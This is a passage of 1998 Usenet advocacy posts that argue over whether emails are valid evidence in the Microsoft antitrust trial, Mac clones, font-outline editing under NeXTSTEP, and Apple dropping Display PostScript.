That's completely absurd. You just spelled out many techniques for
looking at a document's authenticity, NONE of which are applicable to
email.
>
> If it's demonstrated that the e-mail represents the true words of the
> person writing the message, it is accorded exactly the same gravity as any
> other sort of document.
Again, *unless the author stipulates that the email is his or hers*
there is NO WAY to "demonstrate that an email represents the true words"
of any particular individual. Saying, "I have no recollection of sending
that email" is *not* a stipulation that the individual sent it. That's
why I'm certain this issue will surface on appeal.
>
> As is proving that you didn't send e-mail, something I have to do on a
> daily basis to combat spam.
????? You mean someone is spamming from your machine, or using your
email address? That's weird...:) And, I'm not certain how you "proved"
you didn't do the spamming, especially if the spamming is actually being
done from *your* machine. This sounds like a case of: "I told someone
that it wasn't me and they believed me." That's *hardly* conclusive
proof....:) Certainly not for a courtroom.
>
> > There is a great deal of evidentiary difference between an email and a
> > paper document with a signature, or even a paper document with
> > *handwritten* notations in the margins. The latter can be conclusively
> > tied to a specific individual, the former never can be.
>
> The former is and has been.
Nope, impossible. It cannot be *conclusively proven* (beyond a doubt)
unless the author stipulates to having written it. On the other hand, a
forged document can be conclusively proven (beyond a doubt) *not* to
have been signed by a specific individual.
>
> And again you clearly demonstrate that you don't know the first thing
> about the rules of evidence. It's not up to me to prove I didn't send it,
> it's up to the prosecution to prove that I did. If they can _prove_ that I
> did, I did.
"Rules of evidence"? You can't be serious! Come on, you're kidding,
right?...:) You don't mean to say that if a prosecutor "proves" I did
something then that means I did it, regardless of whether or not my
defense attorney proves I *didn't* do it? If so, I'm afraid you have
some serious gaps in your knowledge of the kind of legal system we have.
Prosecutors often bring people to court with "proof" which defense
attorneys prove is either inadequate or else completely in error. Ever
heard of the concept of "acquittal?" That's what happens when the jury
disregards a prosecutor's "proof"...:) Happens all the time.
As to the "burden of proof"...any good defense attorney knows that the
best way to prove the prosecution wrong is to prove that your client
couldn't possibly have done what he's been accused of doing.
>
> > Unless stipulated to by the defense, and allowed by the judge (which
> > might be a great appeal item), email is nowhere_near_as_valid as many
> > other forms of evidence.
>
> No evidence is valid unless it meets those two criterion (and others,
> including search and seizure law, constitutional rights, etc.).
Wait a minute...this really points out how screwy your ideas on this
are..."No evidence is valid unless it meets those two
criterion...stipulated by the defense and allowed by the
judge..."....????
In more times than I can remember I've seen cases where the defense, for
instance, opposes certain evidence and the judge either rules it in or
out. If the evidence is ruled in, then the defense has *not* stipulated
to it at all, so "stipulation by the defense" is not required for
admission of evidence.
In this case, judge Jackson is clearly biased and is admitting a whole
slew of gossip, propaganda, and hearsay as a result. Microsoft has on
many occasions objected to many things Jackson has allowed in. It made
no difference. But believe me, it will make a startling difference on
appeal. Jackson is still smarting from his last reversal at the hands of
Microsoft's attorneys, and he's not shy of exposing that bias. That's
why I think the Microsoft attorneys are smart to hang in there with
Jackson and let him do his worst. He's merely building a long list of
reversible error.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 17:34:41 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981234010001@pm53-43.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> And, hey, more than three years ago the 1995
> Consent Decree made it impossible for Microsoft to insist that any
> vendor buy based on the total number of cpus they shipped, so that can't
> be a reason for it.
Actually, since the consent decree had a nice little loophole in it,
Microsoft can't do "per-processor" licensing, but they *can* do "per
product line" licensing, which means that they just have to get six or
seven pieces of paper signed instead of one. The end result is pretty
much the same as "per-processor."
This silly mistake was fostered by the same former DOJ employee who is now
working for the law firm employed by Microsoft in the current case. You
do the math...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 17:31:12 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981230320001@pm53-43.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> What shocks me is why anyone would want to do business with a company
> intent on milking old technology when there are much better alternatives
> available.
Yaeh, it's a shame that Wintel people go to such lengths to keep x86 DOS
compatibility...
Maybe you should try a newer computer like the Mac.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Message-ID: <3659A221.CC3CBF0C@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
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NNTP-Posting-Date: Mon, 23 Nov 1998 12:53:57 EDT
Date: Mon, 23 Nov 1998 09:57:53 -0800
Don Yacktman wrote:
* Henry McGilton <henry@trilithon.com> wrote:
* * I cranked up the old NextStep software stuff over
* * the weekend and took a look at a couple of bits and
* * pieces. The nearest thing that comes close to what
* * you describe is Create from Andrew Stone. Create
* * can do all kinds of funky effects with graphics,
* * and the effects look especially wild and crazy with
* * text. But all the effects that Create can achieve
* * can be done with straight old PostScript affine
* * transforms ---there's no need to get inside the
* * actual font itself. No licensing problem would
* * raise its head.
* Hmmm...even if PasteUp didn't do it, I personally know of
* an app that did let you really tweak things around.
* We never got far enough to run into licensing problems
* with Adobe, but I wrote (with Scott Anguish) an app
* called Opus and you *could* totally tweak letters to your
* heart's content with that app. You'd give it text and a
* font and it would give you back a Bezier curve you could
* edit. Actually, to be more precise, you'd get a _path_
* to edit. Some segments would be Beziers, others would be
* straight line segments.
Cool! Don I took a look at the web site and it looked pretty
good. But for people who worry about these things, there are
many Mac and PC tools to do whizzy things with character
outlines. TypeFX on Mac comes to mind immediatey, as does
Typestry from Pixar.
* Besides editing the letters, you could also do non-affine
* transforms to warp blocks of text in strange ways. Let
* me describe some of the text effects on this page so that
* you know what it is that you're looking at. Note that
* these are "final" output graphics, so you can't see the
* guide lines and control points that are in the app
* itself. If there's enough interest, though, I suppose I
* could add a screen shot showing what that part of the app
* looks like.
Good job on the non-affine stuff.
* By the way, for those of you wondering how to get an
* editable font path, take a look at the "pathforall"
* operator in Postscript. Note that the Red book points
* out that fonts with protected outlines won't work with
* this operator, so I would think that the licensing issue
* with Adobe would be moot: if they don't want you
* tweaking their fonts, they can "protect" them.
* Otherwise, fair game I say. They wrote the font spec, so
* let them use it right.
* Anyway, I wonder if this sort of thing will even be
* possible at all in Display PDF, given that there is no
* server to query.
* If I had to read in and interpret all the Font crap
* myself I'd never have been able to implement this sort of
* thing in such a short time...and I probably wouldn't have
* bothered. Having the DPS server do it for you is so much
* easier. And why write your own code to interpret fonts
* if there's already code to do it built into the system?
There's the great question --- having a server or not hacvin
a server isn't really the issue. The issue is whether we can
obtain the same functionality from Display PDF or whatever
it is called. I would like to be able to select a font and
a transform, and ask for the path of any given character.
* I think it is issues like these and the fact that Apple
* hasn't told us what this so called "Display PDF" will and
* won't do, that has so many old-timers upset about the
* upcoming loss of DPS. If we still get the functionality,
* then it is no biggie, but lose stuff like this and you
* lose a lot of cool apps/functionality you might otherwise
* have. Us cranky old timers have a problem with someone
* coming along and crippling something that was working
* well, I guess.
Right. But unfortunately, history demonstrates that companies
develop a corporate death-wish at some stage in their evolution.
Some develop it earlier than others. Look at Sun with NeWS
versus X/Motif, as a great example. And then Java with a
pixel-based imaging model.
Unfortunately, in this case, Apple don't seem to grasp the
essential issue that the best way to quench the rumour mill
is to tell the truth.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 12:45:11 -0500
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Chad Irby wrote:
>
> Yeah, those "brand new' companies like Motorola and UMAX don't know
> *anything* about production or marketing.
You keep wanting to conveniently forget that neither Motorola nor Umax
ever sold Mac clones. The Mac clones were sold by *new* spin-off
companies created specifically for the purpose of marketing and selling
Mac clones. They certainly were "new" companies in every sense of the
word. Look around. The companies that sold Umax and Moto Mac clones are
*gone*--dissolved, kaput, finished. The Umax company converted over to
selling PCs, as I recall. Yet their parent companies (Umax and Motorola)
are still very much around and still doing just what they were doing
before they created these spin-off companies to sell Mac clones.
Motorola alone charged off $90 million in the closing of its Mac clone
company.
And, last, you keep wanting to pretend that somehow the Mac clone
companies were a valid excuse for Apple not to have done a lot more than
Apple did to grow the general Mac market. As Apple was and is the chief
financial beneficiary, this is hard to understand.
>
>
> Compaq (like Dell and Gateway) also did something that the Mac cloners
> never really tried. Compaq pushed their computers to new markets, like
> home users and smaller businesses (something IBM never really did worth a
> damn). IBM had the bigger companies in their pocket, and Compaq couldn't
> compete with the IBM sales force in any circumstance. So they sold to
> folks who were out of IBM's target market. Dell and Gateway opened up the
> mail-order market, which was the big group that Compaq missed. The newer
> bottom-end PC cloners are going for the "too cheap to buy a Gateway"
> market now.
And please don't forget how many *years* it took these guys to do it...a
*lot* longer than two years. I'd be willing to be that when Micron, for
instance, was two years old it wasn't any bigger than PowerCC was when
it was two years old.
>
> If Compaq had only sold to preexisting IBM customers, and if Dell and
> Gateway had only sold in Compaq dealerships, their stories would have been
> much different.
>
OK, so I guess you never heard the term "IBM Compatible" used to
describe the machines sold by Tandy and the others a decade ago?...:)
And you thought they weren't going after the IBM market...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 12:54:29 -0500
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Chad Irby wrote:
>
>
> Well, you need to get your ass to the courthouse, since the legal geniuses
> at Microsoft haven't figured out this wonderful concept.
Your problem is that you haven't figured out the legal strategy
Microsoft is using, and I think it's pretty obvious, myself. Remember
when Judge Jackson was reversed on appeal the last time? It was for many
of the same egregious errors he's making right now. They're just giving
Jackson plenty of rope for their appeal. You forget that they *know* how
biased Jackson is.
>
>
> Even if it *was* feasible for some random person to forge thousands of
> emails in Microsoft, Microsoft can't admit it. If they do, within the
> next week, thousands of businesses across the planet will be dumping
> Microsoft email products as fast as they possibly can.
>
There are, I'd say, less than a *dozen* emails currently admitted into
to evidence thus far which are highly controversial. You're right
though--those dozen come out of a body of thousands, from which the DOJ
can glean only a dozen or so to support its accusations. I wish I could
understand what you meant by your last statement above. I cannot
understand it...:) (What does "Microsoft email products" have to do with
questionable and controversial email content?)
Message-ID: <3659A819.1221C0A6@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: PostScript imaging model (was Re: Tweaking fonts)
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdc <72vbkd$i68$1@news.xmission.com> <F2ppF0.FB7.0.scream@sounds.wa.com>
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NNTP-Posting-Date: Mon, 23 Nov 1998 13:19:26 EDT
Date: Mon, 23 Nov 1998 10:23:21 -0800
Brian Willoughby wrote:
* Mike Paquette <mpaque@ncal.verio.com> wrote:
* * By the way, we're not doing 'Display PDF'. We're
* * doing a graphics system that supports the PostScript
* * imaging model (NOT language, IMAGING MODEL), and will
* * support PDF as a document exchange format. ('A'
* * document exchange format, not the sole format.
Well, that's good to hear.
* While I understand the advantages of this pure imaging
* model, what I don't understand is why Apple doesn't
* simply develop their own PostScript language interpreter
* in house and include it as part of MacOS X. It sure
* seems like a lot of work to develop the imaging model
* "clean room" so they don't owe Adobe any royalties, so
* how much additional work could it be to develop the
* language as well?
Because developing a full-blown PostScript interpreter and
imaging system is a Big Deal. The *language* is the *easy*
part. Think of the various areas of the rendering engine:
o Fonts, including composite fonts and CID fonts
o colour models
o halftoning
o colour separations and trapping
In my not so humble opinion, some of these areas are fairly
hefty R&D projects all on their own. Look at halftoning as
an example. And some of the halftoning mechanisms are
covered by patents, so you have to invent your own, or
pay licensing.
And then once you have your whizzbang clean-room PostScript
system developed, you then have the problem of trying to
stay in lock-step with what Adobe are doing with PostScript,
whatever the hell they are actually doing with it these days.
They don't seem to know it theirselves. So once you stepped
down that path, you now have an R&D organisation to track
Adobe's reference implementation. Sun tried that with NeWS,
and couldn't get simple things like /UnderlinePosition and
/UnderlineThickness right in fonts, couldn't implement a
cshow that worked the same as Adobe, and so on and so on.
* Obviously, the GhostScript code has earned the respect of
* quite a few. I wouldn't suggest using the GhostScript
* language interpreter, partly because I believe that the
* GS licensing wouldn't allow Apple to sell an OS based in
* part on any GS code. But if the GhostScript programmers
* can do a respectable job of writing a PostScript language
* AND imaging model, then just what is stopping Apple from
* taking the extra step?
While I have a great deal of respect for the abilities of the
GhostScript people, the quality and speed of GhostScript lags
behind DPS, and would require a huge effort to bring it along
to the point where it's a serious competitor for DPS.
* Sure, I can hear people telling me that PDF is going to be on
* every new printer, yada, yada, yada, but I don't want to buy
* a new printer if I have an old PostScript-only box. Plus,
* even if the print industry is moving away from PostScript per
* se, it still doesn't make sense to cripple Mac OS X by having
* the print code and display code differ.
Right --- it doesn't make sense. So when did that ever
stop a company from doing something bonehead from the viewpoint
of developers?
* Oh well, gone are the days of writing an app by starting
* on the display code and then adding only two lines to get
* the same images printing on any old decent printer.
* Having the AppKit based on DPS was quite powerful, I
* somehow doubt that it will be as cool to have only the
* imaging model just to save a few bucks on licensing,
* especially not if a cheaper OS means you have to buy a
* new printer to get true WYSIWYG.
I am not that worried, to be honest, if the PostScript language
per se disappears. What I want is the same functionality
from the display engine that I had from DPS. I would much
prefer a declarative language rather than a procedural one.
In my opinion, the programmability of PostScript created more
problems than it solved. Look at colour separations as a
just one issue that has probably soaked up thousands of
years of productivity.
* Another argument I hear is that PostScript has failed as
* a document exchange format, and that the future is PDF.
* Well, I don't want to be the stick in the mud that
* suggests Apple not look to the future, I'm just saying
* that they shouldn't let go of the bird in the hand. I
* also don't think that PostScript's usefulness as a
* document exchange format has to do with anything - it was
* not designed for this in any way - it's intended to be
* real-time to the output device (or so that's how I see
* it). There is currently a big investment in PostScript
* output devices, so I had rather see DPS on my screen via
* software instead of having to upgrade my printer, because
* I certainly want them both running the same graphics
* programming language.
I agree with the sentiment that PostScript is a failure as
a document exchange format. The major problem with PostScript
is that every developer runs off and creates a brand new
programming language and calls it the prologue. Saying that
PostScript wasn't designed to be a document exchange format
seems a little odd to me. After all, if you stick a
PostScript file on a disk and take it to the service bureau,
that's document exchange. Whether it was *designed* for that
purpose is irrelevant --- it certainly gets *used* that way,
with all the comcomitant headaches.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Ze dream is over
MIME-Version: 1.0
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References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com>
<73c1hn$2io@shelob.afs.com>
Message-ID: <fLh62.3561$rY3.8853491@news.rdc1.sdca.home.com>
Date: Mon, 23 Nov 1998 18:24:11 GMT
NNTP-Posting-Date: Mon, 23 Nov 1998 10:24:11 PDT
Organization: @Home Network
In <73c1hn$2io@shelob.afs.com> "Greg Anderson" wrote:
> As Sigmund Freud once said, "Ze dream is over."
>
> Greg
>
>
Rhapsody Carbonized , now Server delays draining YB developer's financial
health is the kiss of reward for keeping a dream alive. Apple has good
product designs (ie. iMac, LCD panel). Those products won't have the soul
of OPENSTEP to make them cool. People like Greg Anderson _are_ the heart
and soul of a platform. Without gifted contributions from experienced YB
developer's, MacOS X program undevelopment has set YB progress back Decades.
However talented, creative and resourceful are Macintosh Carbon developer's,
they cannot escape the years of investment OPENSTEP developer's brought to
Apple. Apple's goodwill and YB assets took a devastating loss, today.
God speed you, Greg, to future financial health and success...
-r
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280002311981027440001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com>
Organization: Quicksilver Software, Inc.
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Date: Mon, 23 Nov 1998 10:27:44 -0800
NNTP-Posting-Date: Mon, 23 Nov 1998 10:26:31 PDT
In article <36599B34.A05CFC80@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Maury Markowitz wrote:
>
> >
> > As your note below shows, the court has well established systems for
> > checking the validity of signature. If the signature was so hard to forge,
> > they wouldn't need these. Likewise the government, notably the feds, has
> > superb people to check the validity of e-mail too. Yet they didn't bother,
> > which demonstrates they're not questioning the validity of the mail.
>
>
> Believe me, the "email validity issue" is one being saved up for appeal.
> I'd bet on it...
>
> You've completely missed the point. Whether or not a signature is "hard
> to forge" is completely irrelevant. The point is that with a signature
> you *can* prove that a forgery took place, whereas with an email you
> cannot prove a forgery took place, because there is no signature or
> other individualized, handwritten marker which may be conclusively
> linked to a specific individual. ASCII text prints the same on a printer
> whether you typed the note or I did.
I would hope that this point about email doesn't form the basis of MS's
defense. Surely they must have more substantial arguments ready to present.
And, someone remind me, do they need "beyond reasonable doubt" or merely
a "preponderance of evidence"?
If copies of those outbound emails were found on backup tapes from
Gate's personal desk computer, who's still going to believe Bill didn't
write them? Grabbing for straws here.
Finally, what happens if a company does undertake real actions with real
consequences, on the basis of a forged email? If someone forges an email
from my boss telling me to hold up a liquor store, claiming "b-b-but the
email was forged!" in court might not help my case after I commit the
crime.
Rob
From: "Matt Wood" <matthew.wood@bbc.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: crazy idea but ah....m68k
Date: Mon, 23 Nov 1998 10:49:41 -0000
Organization: British Broadcasting Corporation, UK
Message-ID: <73bect$mte$1@nntp0.reith.bbc.co.uk>
References: <user-2011980144560001@dub234042.columbus.rr.com> <733uc0$4g5$1@nntp0.reith.bbc.co.uk> <user-2111980535300001@dub234042.columbus.rr.com>
NNTP-Posting-Date: 23 Nov 1998 10:45:49 GMT
> they
couldnt say things like that unless it was at least semi-truthful
???? welcome to the wonderful world of marketing speak
I *do* hope you're right, but let's wait and see
inphlux wrote in message ...
>In article <733uc0$4g5$1@nntp0.reith.bbc.co.uk>, "Matt Wood"
><matthew.wood@bbc.co.uk> wrote:
>
>> I'm just getting ready to be disappointed when my 'consumer portable'
>> doesn't run yb stuff :-(
>
>What makes you think it wouldnt? Apples new slogan is "Works for me", they
>couldnt say things like that unless it was at least semi-truthful.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 16:34:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73c2r5$qrt$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <73519n$no0$3@msunews.cl.msu.edu> <737msf$lvo@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
> >I'm willing to bet a hell of a lot of developers are really pissed off but
> >they WILL not talk publically because they don't want to bite the
> >'hand that might feed them'. Then again I have to sit back and take
> >a deep breath since it could be that Greg is out of the loop..
>
> You are wrong in your assessment of me, Kemosabe.
I think it's also noteworthy that when the "OS X Server is cancelled' spread
some weeks ago, people like Scott Anguish were very quick to jump in and set
things straight. I haven't noticed them saying anything this time.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 13:51:42 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981123135142316463@ts1-43.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > This is _common_ practice in the world of business. Ford milked the Model-T
> > for all it was worth while working on the Model-A. Microsoft milked Win3.x
> > for all it was worth while working on WinNT and Win9x.
> >
> > Why anyone is shocked by this quote is beyond me.
>
>
>
> What shocks me is why anyone would want to do business with a company
> intent on milking old technology when there are much better alternatives
> available.
Maybe you should ask Microsoft that question.
--
Remove nojunk from my email address to reply by email.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 18:53:46 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981353060001@pm53-43.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> However, if the individual does not stipulate to authorship, you
> absolutely cannot prove it in the absence of a signature and/or other
> handwritten markers.
And, despite myths to the contrary, a signature isn't an "absolute" gauge
either.
In the current case, however, Microsoft isn't claiming forgery of email,
so you might as well drop this sad little line of argument.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 19:09:12 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981408310001@pm53-43.magicnet.net>
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Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Your problem is that you haven't figured out the legal strategy
> Microsoft is using, and I think it's pretty obvious, myself. Remember
> when Judge Jackson was reversed on appeal the last time?
Yes, he was. Happens all of the time in the court system.
> It was for many
> of the same egregious errors he's making right now.
Actually, he hasn't really made any noticeable errors in this one. Unless
you can name some? "Laughing at Bill Gates" isn't one of them, by the
way.
You see, it's hard to "make errors" when the defense is making all of them
for you...
> They're just giving
> Jackson plenty of rope for their appeal. You forget that they *know* how
> biased Jackson is.
...and the judge in the Sun/Java case, and the other judges that have been
ruling against Microsoft...
"Not putting up with silliness by Microsoft's lawyers" is not the same as
"being biased."
> There are, I'd say, less than a *dozen* emails currently admitted into
> to evidence thus far which are highly controversial. You're right
> though--those dozen come out of a body of thousands, from which the DOJ
> can glean only a dozen or so to support its accusations.
How do you know this? Maybe they only dropped in the most obvious dozen.
Even at that, only one or two from the right people is necessary to show
the things they've been claiming, and Microsoft's lawyers have not been
able to make any sort of dent in the case so far. Even the more
pro-Microsoft members of the press are starting to notice that MS is
losing ground fast, and has to get something going.
> I wish I could
> understand what you meant by your last statement above. I cannot
> understand it...:) (What does "Microsoft email products" have to do with
> questionable and controversial email content?)
If the email is true, and MS doesn't challenge it, then nothing. but if
they claim (like you seem to) that the emails are forged, then it's
basically the same as saying "Microsoft products are SO bad that even
MICROSOFT can't rely on their security."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 13:30:30 -0500
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Craig Koller wrote:
> >
> Exactly. But I guess there are those MS competitors who believe that
> *anything* is better than a world run by Bill. At least with spaghetti
> beaurocracy at the helm, change is tougher to implement and it's easier to
> sleep nights, rather than fearing one fiesty little geek in Redmond who can
> turn the industry upside down, and your profits OFF, in the blink of an
> eye.
I had no idea it was so simple. You mean Bill Gates can "turn your
profits off in the blink of an eye?" Wow! Yea, and to think I used to
believe that Sun, for instance, was a multi-billion company! I'm sort of
sad to hear that Bill Gates has turned off their profits....:)
Seriously, what these guys object to is that it's Bill and not them who
"runs the world." (talk about mythology!) They just want to trade
places, *and* they want to make sure the government protects what they
consider to be their markets against competition from the "feisty little
geek" who is aiming to upset their applecarts by daring to compete with
them. I have no doubt that protectionism is exactly what is driving
these events. Had Gates confined himself to 90% of the X86 16/32-bit
market, and stayed out of the workstation markets, I don't think we'd
have heard a peep from any of these guys.
>
> Nobody has any idea what they're getting into here, but I think it's just
> part of the lifecycle of innovation. This ain't the Homebrew club any more,
> and there's just way too much money here (not to mention influence on the
> daily life of all Americans and American businesses) for the gummit not to
> get involved.
>
> But without this browser war, it could have been several years before
> Washington intervened.
I don't think browsers have much to do with Sun's interests. I think Sun
sees NT5.0 and the ever-increasing horsepower coming out of Intel,
coupled with extremely low pricing, to be a serious threat to its
established business markets. Sun thinks it owns those markets, or at
least ought to have "first dibs" at them, and so is pushing like crazy
to if possible derail Microsoft in its bid to compete directly with Sun.
Otherwise, Sun would have no competition. Same with Netscape. If not for
IE, who'd be competing with Netscape and where would "the consumer" be
then? (A question the bubbleheads at DOJ can't seem to fathom.) I
thought "anti-trust" was supposed to entail a pro-competition point of
view. If DOJ takes Microsoft out of the browser market and declares
Sun's markets "off limits" then it seems to me that the DOJ is
accomplishing the opposite of what the anti-trust statutes are supposed
to accomplish--we'd be chopping up the "market" into sections and
dividing it among the various players. Seems to me that good ol'
free-market competition could do that a heck of a lot better and with
much more benefit to the consumer.
>
> Additionally, I think the Y2K debacle is going to raise some legislative
> eyebrows and bring about further regulation upon the computer industry.
> "Why do we require permits and inspections and accountability for buildings
> that house business and services, and not the software that *runs* business
> and services?"
>
> Goodbye hands-off policy...
I think you are exactly right about YK2 and it's likely effects. I, for
one, view the Y2K thing as no more than software bugs which companies
should be required to fix just like any other bugs--with the possible
addition of the suggestion that the Y2K bug, if left unaddressed, could
be much more serious than your routine software bug. The fact that
companies are charging so much money to address the Yk2 bug is
tantamount to robbery, in my view. Of all the possible bugs I can think
